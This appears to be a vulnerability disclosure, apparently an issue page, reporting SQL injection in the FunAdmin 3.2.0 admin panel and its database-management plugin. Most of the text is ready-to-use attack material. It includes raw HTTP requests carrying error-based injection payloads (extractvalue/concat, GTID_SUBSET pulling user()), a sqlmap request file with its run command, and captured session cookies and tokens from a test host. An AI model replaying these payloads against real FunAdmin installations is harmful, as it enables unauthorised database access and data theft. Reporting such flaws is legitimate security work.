GET /backend/member.memberLevel/index?parentField=extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281704332383%29%29%29&selectFields%5Bname%5D=name&selectFields%5Bvalue%5D=id&tree=true HTTP/1.1 Host: 192.168.3.129:8092 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: Hm_lvt_ce074243117e698438c49cd037b593eb=1673498041; PHPSESSID=591a908579ac738f0fc0f53d05c6aa51; think_lang=zh-cn; Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; auth_account=YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D; clound_account=YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D X-Csrf-Token: e01ba8f9cae042b9c57fab28d18c33c2 X-Requested-With: XMLHttpRequest Accept-Encoding: gzip

Establish a wechat group

来个 微信群

Database management plug-in table.php columns-sql injection vulnerability

Vulnerability Product:funadmin
Vulnerability version:.3.2.0
Vulnerability type:sql injection
Vulnerability Details：
Database management plug-in table.php columns-sql injection vulnerability
Vulnerability occurs in plugin - database management plugin

Code Audit Process
Vulnerability occurs in
app\databases\controller\table.php#columns method

Get the id directly and splice it into the sql statement

Vulnerability recurrence
sqlmap poc save as txt
GET /databases/table/columns?id=* HTTP/1.1 Host: 192.168.3.129:8092 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest X-CSRF-TOKEN: d659d1ffb4e68ff1910c1c7c75a43539 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Origin: http://192.168.3.129:8092 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: Hm_lvt_ce074243117e698438c49cd037b593eb=1673498041; ci_session=ca40t5m9pvlvp7gftr11qng0g0lofceq; PHPSESSID=591a908579ac738f0fc0f53d05c6aa51; think_lang=zh-cn; Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; auth_account=YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D; clound_account=YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D Connection: close
python sqlmap.py -r poc.txt

GET /databases/table/columns?id='+AND+GTID_SUBSET(CONCAT(0x12,(SELECT+(ELT(6415=6415,1))),user()),6415)--+qRTY HTTP/1.1 Host: 192.168.3.129:8092 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest X-CSRF-TOKEN: d659d1ffb4e68ff1910c1c7c75a43539 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Origin: http://192.168.3.129:8092 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: Hm_lvt_ce074243117e698438c49cd037b593eb=1673498041; ci_session=ca40t5m9pvlvp7gftr11qng0g0lofceq; PHPSESSID=591a908579ac738f0fc0f53d05c6aa51; think_lang=zh-cn; Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed=1674888420; auth_account=YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D; clound_account=YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D Connection: close